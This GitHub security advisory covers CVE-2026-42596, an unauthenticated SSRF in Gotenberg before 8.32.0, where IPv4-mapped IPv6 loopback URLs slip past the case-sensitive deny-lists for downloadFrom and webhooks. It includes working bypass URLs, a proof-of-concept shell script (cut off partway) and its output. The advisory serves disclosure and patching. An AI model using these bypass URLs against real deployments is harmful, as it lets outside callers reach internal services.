GitHub Advisoryadvisory · Go

GHSA-4vmc-gm8v-m35h Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook

CRITICAL Published 2026-05-07 Modified 2026-05-14 Official page ↗
Aliases
CVE-2026-42596
Ecosystem
Go
Packages
github.com/gotenberg/gotenberg/v8
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
Weaknesses
CWE-918
Reviewed
2026-05-07

Affected packages

• Go github.com/gotenberg/gotenberg/v8: < 8.32.0 → fixed in 8.32.0

Description

Summary The default deny-lists used by Gotenberg's `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets. Details The issue originates from the shipped default deny-list regexes and the way those regexes are applied: • `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`. • `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`. • `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching. The attacker-controlled URL then reaches outbound request sinks: • `pkg/modules/api/context.go:208-282` • Reads attacker-supplied `downloadFrom`. • Calls `gotenberg.FilterDeadline(...)`. • Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`. • `pkg/modules/webhook/middleware.go:99-217` • Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`. • Calls `gotenberg.FilterDeadline(...)`. • Constructs a `client` for outbound delivery. • `pkg/modules/webhook/client.go:39-152` • Sends the success or error webhook request. • `pkg/modules/webhook/client.go:155-216` • Sends the webhook event request. Why the bypass works: 1. The default deny-list only blocks lowercase `http://` and `https://` prefixes. 2. The filtering logic performs case-sensitive regex matching on the raw user input. 3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`. 4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client. Confirmed bypass used during verification: • `http://[::ffff:127.0.0.1]:18081/page_1.pdf` • `http://[::ffff:127.0.0.1]:18082/upload` • `http://[::ffff:127.0.0.1]:18082/events` This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths. PoC One-command verification From the repository root: ```bash cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg' ./tmp/poc/verify_ssrf_poc.sh ``` What the script does: 1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof. 2. Starts Gotenberg on `127.0.0.1:3000`. 3. Starts an internal-only helper listener inside the same container network namespace. 4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`. 5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`. 6. Writes evidence artifacts to disk. Expected success output: ```text [4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata [5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload PASS webhook: Gotenberg POSTed to an internal-only loopback listener ``` Evidence files created by the script: • `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json` • `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log` Manual evidence commands The following commands were run after the verifier completed successfully: ```bash jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json' cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log' ``` Observed output: ```json { "page_1.pdf": { "CreateDate": "2025:02:17 14:46:38+00:00", "FileType": "PDF", "FileTypeExtension": "pdf", "Linearized": "No", "MIMEType": "application/pdf", "ModifyDate": "2025:02:17 14:46:38+00:00", "PDFVersion": 1.7, "PageCount": 1, "Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n", "SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf" } } ``` ```text POST /upload len=4363 content-type=application/pdf POST /events len=126 content-type=application/json ``` PoC Video: https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3 Interpretation: • The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL. • The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list. `verify_ssrf_poc.sh` ```bash !/usr/bin/env bash set -euo pipefail ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}" DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}" GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}" HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}" PORT="${PORT:-3000}" ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}" TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf" DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json" WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log" HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py" DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf" WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload" WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events" PDF_ENGINE_FLAGS=( "--pdfengines-merge-engines=qpdf" "--pdfengines-split-engines=qpdf" "--pdfengines-flatten-engines=qpdf" "--pdfengines-convert-engines=qpdf" "--pdfengines-read-metadata-engines=exiftool" "--pdfengines-write-metadata-engines=exiftool" "--pdfengines-encrypt-engines=qpdf" "--pdfengines-embed-engines=qpdf" "--pdfengines-read-bookmarks-engines=qpdf" "--pdfengines-write-bookmarks-engines=qpdf" "--pdfengines-watermark-engines=qpdf" "--pdfengines-stamp-engines=qpdf" "--pdfengines-rotate-engines=qpdf" ) red() { printf '\033[31m%s\033[0m\n' "$*"; } green() { printf '\033[32m%s\033[0m\n' "$*"; } blue() { printf '\033[34m%s\033[0m\n' "$*"; } cleanup() { docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true } fail() { red "$1" printf '\n--- gotenberg logs ---\n' docker logs "$GOTENBERG_NAME" 2>/dev/null || true printf '\n--- helper logs ---\n' docker logs "$HELPER_NAME" 2>/dev/null || true exit 1 } trap cleanup EXIT mkdir -p "$ARTIFACT_DIR" : > "$WEBHOOK_LOG" if [[ ! -f "$TEST_PDF" ]]; then red "Missing test PDF: $TEST_PDF" exit 1 fi if [[ ! -f "$DOCKERFILE" ]]; then red "Missing Dockerfile: $DOCKERFILE" exit 1 fi if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then blue "[1/6] Building slim verification image: $IMAGE" docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null else blue "[1/6] Reusing existing image: $IMAGE" fi blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT" cleanup docker run -d --rm \ --name "$GOTENBERG_NAME" \ -p "$PORT:3000" \ "$IMAGE" \ --webhook-enable-sync-mode=true \ "${PDF_ENGINE_FLAGS[@]}" >/dev/null for _ in $(seq 1 45); do if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then break fi sleep 1 done if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then fail "Gotenberg did not become healthy" fi cat > "$HELPER_SCRIPT" <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer from pathlib import Path from threading import Event, Thread PDF_PATH = Path("/srv/p…

Related

Alias · CVE (1)

  • CVE-2026-42596 Gotenberg is a Docker-powered stateless API for PDF files. vulnerability

Weakness · CWE (1)

  • CWE-918 Server-Side Request Forgery weakness

References